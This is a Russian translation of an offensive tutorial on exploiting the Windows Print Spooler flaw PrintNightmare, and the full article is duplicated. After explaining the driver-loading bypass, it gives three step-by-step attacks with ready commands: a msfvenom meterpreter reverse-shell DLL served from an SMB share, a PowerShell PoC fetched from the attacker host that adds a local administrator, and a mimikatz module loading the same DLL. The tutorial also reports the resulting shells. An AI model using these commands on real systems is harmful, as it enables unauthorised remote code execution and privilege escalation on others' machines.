Введение
Диспетчер очереди печати находится в центре внимания исследователей с тех пор, как червь Stuxnet использовал уязвимость повышения привилегий диспетчера очереди печати для распространения по сети в ядерных центрифугах по обогащению в Иране и заразил более 45000 сетей. PrintNightmare — это общее название уязвимости удаленного выполнения кода в службе диспетчера очереди печати (spoolsv.exe) в операционных системах Microsoft Windows. Уязвимости присвоен код CVE-2021-34527. Первоначально она считалась локальным повышением привилегий (LPE) и обозначалось CVE-2021-1675. Немедленные исправления для LPE были выпущены в июне 2021 года и имели низкий уровень серьезности. Примерно через 2 недели Microsoft изменила низкий уровень серьезности LPE на серьезный, поскольку было обнаружено, что патчи были обойдены, а удаленное выполнение кода получило присвоенный CVE-2021-34527. Возник спор из-за недопонимания между авторами и Microsoft, когда эксплойт RCE был выпущен на GitHub до патчей, что сделало его уязвимостью 0-day. Однако его тут же откатили. В этой статье мы сосредоточимся на повышении привилегий с помощью этой уязвимости диспетчера очереди печати. Популярность, которую он получил в 2021 году, сделала его уязвимостью года.
Основы диспетчера очереди печати
Диспетчер очереди печати — это основной интерфейс процесса печати. Это встроенный EXE-файл, который загружается при запуске самой системы. Рабочий процесс печати выглядит следующим образом:
Application: приложение печати создает задание на печать, вызывая интерфейс графических устройств (GDI).
GDI: GDI включает компоненты режима пользователя и режима ядра для поддержки графики.
winspool.drv — это интерфейс, который взаимодействует со спулером. Он предоставляет заглушки RPC, необходимые для доступа к серверу.
spoolsv.exe — это API-сервер спулера. Этот модуль реализует маршрутизацию сообщений к провайдеру печати с помощью маршрутизатора (spoolss.dll).
spoolss.dll определяет, к какому поставщику печати обращаться, на основе имени принтера и передает вызов функции правильному поставщику.
Сводка по уязвимостям
В протоколе MS-RPRN (системный удаленный протокол печати) есть метод RpcAddPrinterDriverEx(), который разрешает удаленную установку драйвера пользователями с правом SeLoadDriverPrivilege. Это право есть только у пользователей в группе администраторов. Итак, эксплойт пытается обойти эту аутентификацию в RpcAddPrinterDriver. Техника предоставлена afwu (https://github.com/afwu).
Cube0x0 написал в Твиттере, что ему удалось добиться тех же результатов, используя метод RpcAsyncAddPrinterDriver() протокола MS-PAR, который похож на RpcAddPrinterDriver и загружает драйверы удаленно. Технику можно найти здесь (https://github.com/cube0x0/CVE-2021-1675). Мы будем использовать обе эти техники в этой демонстрационной статье.
Поток уязвимостей
Чтобы понять поток уязвимостей, давайте сначала разберемся с работой RpcAddPrinterDriver. Шаги следующие:
- Добавить драйвера принтера к вызову сервера (RpcAddPrinterDriver)
- Клиент (Злоумышленник) создает общий ресурс с доступными файлами драйвера принтера
- Клиент (злоумышленник) создает контейнер драйвера MS-RPRN (системный удаленный протокол печати), в котором содержится DRIVER_INFO_2.
(в основном это переменные, которые содержат путь к DLL, тип архитектуры и т. д.)
- Клиент (Атакующий) вызывает: RpcAddPrinterDriver("<имя сервера печати>", DriverContainer);
Проверка безопасности: когда клиент вызывает эту функцию, система проверяет, есть ли у клиента "SeLoadDriverPrivilege", который по умолчанию предоставляется группе администраторов.
Обход проверки безопасности: AFWU упомянул в своей первоначальной статье, что пользователь может указать следующие параметры в службе очереди печати:
pDataFile =A.dll
pConfigFile =B.dll
pDriverPath=C.dll
Служба спулера скопирует DLL-файлы A, B, C в C:\Windows\System32\spool\drivers\x64\3\new, а затем загрузит их в C:\Windows\System32\spool\drivers\x64\3. Далее он уточняет, что для pDataFile и pDriverPath в Windows есть проверка, что эти библиотеки DLL не могут быть путем UNC. Но pConfigFile может быть UNC-путем, поэтому злоумышленник может сделать следующее:
pDataFile =A.dll
pConfigFile =\\attacker_share\evil.dll
pDriverPath=C.dll
Что теоретически заставит Windows загружать evil.dll из общей папки злоумышленника.
Таким образом, обход аутентификации происходит следующим образом:
- RpcAddPrinterDriver вызывается с предложенными параметрами и путем UNC, ведущим к вредоносной DLL.
- Вредоносная DLL копируется в C:\Windows\System32\spool\drivers\x64\3\evil.dll
- Но это вызывает конфликт доступа, поэтому мы вызываем функцию резервного копирования драйверов и копируем старые драйверы (включая нашу вредоносную DLL) в каталог C:\Windows\System32\spool\drivers\x64\3\old\1\
- Замените путь pConfigFile к DLL на этот путь C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll
- Ограничение доступа теперь обойдено, и DLL успешно загружена в spoolsv.exe.
Все это было подробно описано в его статье на Github, которая была удалена. Однако, если вы запустите свои движки и отправитесь обратно в прогшлое, возможно, вы сможете найти её здесь (https://web.archive.org/web/20210630054520/https://github.com/afwu/PrintNightmare)
И вышеизложенный процесс является фундаментальным механизмом работы эксплойтов, которые мы увидим в этой статье.
IP-адреса машин
На протяжении всей демки были взяты следующие IP-адреса:
IP-адрес злоумышленника: 192.168.1.2
IP жертвы: 192.168.1.190
Использованы скомпрометированные учетные данные: ignite/123
Способ 1 — PrintNightmare RCE с использованием Python
Это метод, относящийся к CVE-2021-34527 (удаленное выполнение кода от имени администратора). Вы можете найти официальный PoC Cube0x0 здесь. Здесь мы будем использовать разветвленную версию.
Во-первых, нам нужно создать вредоносный DLL-файл, который будет работать от имени ADMINISTRATOR.
Мы используем для этого msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
Теперь мы можем проверить, является ли цель уязвимой или не использует вспомогательный модуль metasploit. Здесь я ввел случайный путь для аргумента DLL_PATH, так как я не запускаю эксплойт, мне просто нужно сканировать. В нашем тестировании мы обнаружили, что printnightmare Metasploit ненадежен, и поэтому мы не показываем эту технику здесь. Вы можете протестировать его самостоятельно и посмотреть, работает ли он для вас. Этот запуск подтвердил, что жертва уязвима для printnightmare.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
Теперь мы заранее запускаем обработчик перед выполнением нашего DLL-файла с использованием эксплойта.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
Теперь нам нужно клонировать репозиторий github. Мы используем отвлетвенную версию оригинального эксплойта Cube0x0.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
Хорошо, остался последний шаг — разместить вредоносную DLL на нашем сервере SAMBA. Вы можете настроить сервер samba вручную в Kali, использовать хост Windows для его размещения или более простой подход — использовать smbserver от impacket.
Добавьте желаемое имя общего ресурса (в моем случае используется share), а затем укажите путь (в моем случае /root), где вы сохранили вредоносную DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
Когда все подготовлено и готово, мы можем запустить эксплойт RCE. Исполнение простое
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Здесь мы только что запустили общий ресурс на impacket, мы будем использовать его как путь UNC.
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Как видите, жертва успешно выполнила наш файл DLL и вернула нам сеанс уровня администратора на жертве!
Способ 2 — PrintNightmare LPE с использованием Powershell
Мы видели удаленный эксплойт, относящийся к CVE 2021-34527. Теперь мы увидим старый эксплойт повышения локальных привилегий. AFWU реализовал исходный эксплойт на C++, а Калеб Стюарт и Джон Хаммонд создали рабочий PoC в powershell. В отличие от традиционного эксплойта, эта версия не требует от злоумышленника создания SMB-сервера для использования. Вместо внедрения удаленного пути UNC авторы создают автономную DLL во временном каталоге и выполняют внедрение локального пути UNC.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
Теперь, когда жертва скомпрометирована, мы можем загрузить этот ps1-файл в каталог \Users\Public с помощью IWR и настроить http-сервер python в каталоге CVE-2021-1675.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
Теперь мы можем запустить этот файл ps1 с помощью powershell. Этот скрипт powershell поможет нам добавить нового пользователя в группу администраторов, используя указанные учетные данные. Для этого нам нужно создать интерактивный powershell и вызвать модуль следующим образом:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
Как видите, скрипт создал собственную DLL, которая добавляет нового пользователя harsh с паролем 123 в группу администраторов, и скрипт использует очередь печати.
net localgroup administrator
Мы можем убедиться в этом, войдя в систему жертвы с помощью psexec.
python3 psexec.py harsh:123@192.168.1.190
Мы можем войти в систему с учетными данными и можем подтвердить с помощью команды net user, что harsh теперь является членом администраторов.
Метод 3 — Printnightmare LPE с использованием Mimikatz
Когда PoC появился в Интернете, новый плагин mimikatz был добавлен в качестве ритуала в раздел misc (misc::printnightmare). Чтобы использовать mimikatz, мы будем использовать наш существующий файл DLL evil.dll, а также нам нужен наш SMB-сервер, работающий в существующей конфигурации. Теперь мы загрузим mimikatz.exe на наш kali и запустим HTTP-сервер Python.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
Мимикатз подтвердил, что выполнение прошло успешно. Выдается исключение (вероятно, из-за каких-то символов в DLL), но DLL все равно сработала, и на multi/handler получен обратный шелл.
Перед запуском этой команды обязательно настройте обработчик в Metasploit. Если все пойдет правильно, вы увидите обратную оболочку! Таким образом, мы провели повышение привилегий, используя уязвимость PrintNightmare.
Статус патча
Microsoft выпустила внеплановые исправления для устранения этой уязвимости, которые можно найти в бюллетене MSRC, упомянутом во введении. Кроме того, системные администраторы должны рассмотреть возможность отключения функций указания и печати и отключения печати для пользователей, где это не требуется.
Заключение
Из-за характера этой уязвимости и простоты эксплуатации PrintNightmare является серьезной уязвимостью, которая де-факто получила награду "Уязвимость года" в 2021 году. С тех пор появилось много новых эксплойтов, нацеленных на spoolsv.exe, и, несмотря на все усилия Microsoft, исправления обходят, поэтому настоятельно рекомендуется, чтобы аналитики были в курсе предстоящих угроз для диспетчера очереди печати и обновляли свои определения мониторинга.
Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-printnightmare/
Диспетчер очереди печати находится в центре внимания исследователей с тех пор, как червь Stuxnet использовал уязвимость повышения привилегий диспетчера очереди печати для распространения по сети в ядерных центрифугах по обогащению в Иране и заразил более 45000 сетей. PrintNightmare — это общее название уязвимости удаленного выполнения кода в службе диспетчера очереди печати (spoolsv.exe) в операционных системах Microsoft Windows. Уязвимости присвоен код CVE-2021-34527. Первоначально она считалась локальным повышением привилегий (LPE) и обозначалось CVE-2021-1675. Немедленные исправления для LPE были выпущены в июне 2021 года и имели низкий уровень серьезности. Примерно через 2 недели Microsoft изменила низкий уровень серьезности LPE на серьезный, поскольку было обнаружено, что патчи были обойдены, а удаленное выполнение кода получило присвоенный CVE-2021-34527. Возник спор из-за недопонимания между авторами и Microsoft, когда эксплойт RCE был выпущен на GitHub до патчей, что сделало его уязвимостью 0-day. Однако его тут же откатили. В этой статье мы сосредоточимся на повышении привилегий с помощью этой уязвимости диспетчера очереди печати. Популярность, которую он получил в 2021 году, сделала его уязвимостью года.
Основы диспетчера очереди печати
Диспетчер очереди печати — это основной интерфейс процесса печати. Это встроенный EXE-файл, который загружается при запуске самой системы. Рабочий процесс печати выглядит следующим образом:
Application: приложение печати создает задание на печать, вызывая интерфейс графических устройств (GDI).
GDI: GDI включает компоненты режима пользователя и режима ядра для поддержки графики.
winspool.drv — это интерфейс, который взаимодействует со спулером. Он предоставляет заглушки RPC, необходимые для доступа к серверу.
spoolsv.exe — это API-сервер спулера. Этот модуль реализует маршрутизацию сообщений к провайдеру печати с помощью маршрутизатора (spoolss.dll).
spoolss.dll определяет, к какому поставщику печати обращаться, на основе имени принтера и передает вызов функции правильному поставщику.
Сводка по уязвимостям
В протоколе MS-RPRN (системный удаленный протокол печати) есть метод RpcAddPrinterDriverEx(), который разрешает удаленную установку драйвера пользователями с правом SeLoadDriverPrivilege. Это право есть только у пользователей в группе администраторов. Итак, эксплойт пытается обойти эту аутентификацию в RpcAddPrinterDriver. Техника предоставлена afwu (https://github.com/afwu).
Cube0x0 написал в Твиттере, что ему удалось добиться тех же результатов, используя метод RpcAsyncAddPrinterDriver() протокола MS-PAR, который похож на RpcAddPrinterDriver и загружает драйверы удаленно. Технику можно найти здесь (https://github.com/cube0x0/CVE-2021-1675). Мы будем использовать обе эти техники в этой демонстрационной статье.
Поток уязвимостей
Чтобы понять поток уязвимостей, давайте сначала разберемся с работой RpcAddPrinterDriver. Шаги следующие:
- Добавить драйвера принтера к вызову сервера (RpcAddPrinterDriver)
- Клиент (Злоумышленник) создает общий ресурс с доступными файлами драйвера принтера
- Клиент (злоумышленник) создает контейнер драйвера MS-RPRN (системный удаленный протокол печати), в котором содержится DRIVER_INFO_2.
(в основном это переменные, которые содержат путь к DLL, тип архитектуры и т. д.)
- Клиент (Атакующий) вызывает: RpcAddPrinterDriver("<имя сервера печати>", DriverContainer);
Проверка безопасности: когда клиент вызывает эту функцию, система проверяет, есть ли у клиента "SeLoadDriverPrivilege", который по умолчанию предоставляется группе администраторов.
Обход проверки безопасности: AFWU упомянул в своей первоначальной статье, что пользователь может указать следующие параметры в службе очереди печати:
pDataFile =A.dll
pConfigFile =B.dll
pDriverPath=C.dll
Служба спулера скопирует DLL-файлы A, B, C в C:\Windows\System32\spool\drivers\x64\3\new, а затем загрузит их в C:\Windows\System32\spool\drivers\x64\3. Далее он уточняет, что для pDataFile и pDriverPath в Windows есть проверка, что эти библиотеки DLL не могут быть путем UNC. Но pConfigFile может быть UNC-путем, поэтому злоумышленник может сделать следующее:
pDataFile =A.dll
pConfigFile =\\attacker_share\evil.dll
pDriverPath=C.dll
Что теоретически заставит Windows загружать evil.dll из общей папки злоумышленника.
Таким образом, обход аутентификации происходит следующим образом:
- RpcAddPrinterDriver вызывается с предложенными параметрами и путем UNC, ведущим к вредоносной DLL.
- Вредоносная DLL копируется в C:\Windows\System32\spool\drivers\x64\3\evil.dll
- Но это вызывает конфликт доступа, поэтому мы вызываем функцию резервного копирования драйверов и копируем старые драйверы (включая нашу вредоносную DLL) в каталог C:\Windows\System32\spool\drivers\x64\3\old\1\
- Замените путь pConfigFile к DLL на этот путь C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll
- Ограничение доступа теперь обойдено, и DLL успешно загружена в spoolsv.exe.
Все это было подробно описано в его статье на Github, которая была удалена. Однако, если вы запустите свои движки и отправитесь обратно в прогшлое, возможно, вы сможете найти её здесь (https://web.archive.org/web/20210630054520/https://github.com/afwu/PrintNightmare)
И вышеизложенный процесс является фундаментальным механизмом работы эксплойтов, которые мы увидим в этой статье.
IP-адреса машин
На протяжении всей демки были взяты следующие IP-адреса:
IP-адрес злоумышленника: 192.168.1.2
IP жертвы: 192.168.1.190
Использованы скомпрометированные учетные данные: ignite/123
Способ 1 — PrintNightmare RCE с использованием Python
Это метод, относящийся к CVE-2021-34527 (удаленное выполнение кода от имени администратора). Вы можете найти официальный PoC Cube0x0 здесь. Здесь мы будем использовать разветвленную версию.
Во-первых, нам нужно создать вредоносный DLL-файл, который будет работать от имени ADMINISTRATOR.
Мы используем для этого msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
Теперь мы можем проверить, является ли цель уязвимой или не использует вспомогательный модуль metasploit. Здесь я ввел случайный путь для аргумента DLL_PATH, так как я не запускаю эксплойт, мне просто нужно сканировать. В нашем тестировании мы обнаружили, что printnightmare Metasploit ненадежен, и поэтому мы не показываем эту технику здесь. Вы можете протестировать его самостоятельно и посмотреть, работает ли он для вас. Этот запуск подтвердил, что жертва уязвима для printnightmare.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
Теперь мы заранее запускаем обработчик перед выполнением нашего DLL-файла с использованием эксплойта.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
Теперь нам нужно клонировать репозиторий github. Мы используем отвлетвенную версию оригинального эксплойта Cube0x0.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
Хорошо, остался последний шаг — разместить вредоносную DLL на нашем сервере SAMBA. Вы можете настроить сервер samba вручную в Kali, использовать хост Windows для его размещения или более простой подход — использовать smbserver от impacket.
Добавьте желаемое имя общего ресурса (в моем случае используется share), а затем укажите путь (в моем случае /root), где вы сохранили вредоносную DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
Когда все подготовлено и готово, мы можем запустить эксплойт RCE. Исполнение простое
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Здесь мы только что запустили общий ресурс на impacket, мы будем использовать его как путь UNC.
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Как видите, жертва успешно выполнила наш файл DLL и вернула нам сеанс уровня администратора на жертве!
Способ 2 — PrintNightmare LPE с использованием Powershell
Мы видели удаленный эксплойт, относящийся к CVE 2021-34527. Теперь мы увидим старый эксплойт повышения локальных привилегий. AFWU реализовал исходный эксплойт на C++, а Калеб Стюарт и Джон Хаммонд создали рабочий PoC в powershell. В отличие от традиционного эксплойта, эта версия не требует от злоумышленника создания SMB-сервера для использования. Вместо внедрения удаленного пути UNC авторы создают автономную DLL во временном каталоге и выполняют внедрение локального пути UNC.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
Теперь, когда жертва скомпрометирована, мы можем загрузить этот ps1-файл в каталог \Users\Public с помощью IWR и настроить http-сервер python в каталоге CVE-2021-1675.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
Теперь мы можем запустить этот файл ps1 с помощью powershell. Этот скрипт powershell поможет нам добавить нового пользователя в группу администраторов, используя указанные учетные данные. Для этого нам нужно создать интерактивный powershell и вызвать модуль следующим образом:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
Как видите, скрипт создал собственную DLL, которая добавляет нового пользователя harsh с паролем 123 в группу администраторов, и скрипт использует очередь печати.
net localgroup administrator
Мы можем убедиться в этом, войдя в систему жертвы с помощью psexec.
python3 psexec.py harsh:123@192.168.1.190
Мы можем войти в систему с учетными данными и можем подтвердить с помощью команды net user, что harsh теперь является членом администраторов.
Метод 3 — Printnightmare LPE с использованием Mimikatz
Когда PoC появился в Интернете, новый плагин mimikatz был добавлен в качестве ритуала в раздел misc (misc::printnightmare). Чтобы использовать mimikatz, мы будем использовать наш существующий файл DLL evil.dll, а также нам нужен наш SMB-сервер, работающий в существующей конфигурации. Теперь мы загрузим mimikatz.exe на наш kali и запустим HTTP-сервер Python.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
Мимикатз подтвердил, что выполнение прошло успешно. Выдается исключение (вероятно, из-за каких-то символов в DLL), но DLL все равно сработала, и на multi/handler получен обратный шелл.
Перед запуском этой команды обязательно настройте обработчик в Metasploit. Если все пойдет правильно, вы увидите обратную оболочку! Таким образом, мы провели повышение привилегий, используя уязвимость PrintNightmare.
Статус патча
Microsoft выпустила внеплановые исправления для устранения этой уязвимости, которые можно найти в бюллетене MSRC, упомянутом во введении. Кроме того, системные администраторы должны рассмотреть возможность отключения функций указания и печати и отключения печати для пользователей, где это не требуется.
Заключение
Из-за характера этой уязвимости и простоты эксплуатации PrintNightmare является серьезной уязвимостью, которая де-факто получила награду "Уязвимость года" в 2021 году. С тех пор появилось много новых эксплойтов, нацеленных на spoolsv.exe, и, несмотря на все усилия Microsoft, исправления обходят, поэтому настоятельно рекомендуется, чтобы аналитики были в курсе предстоящих угроз для диспетчера очереди печати и обновляли свои определения мониторинга.
Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-printnightmare/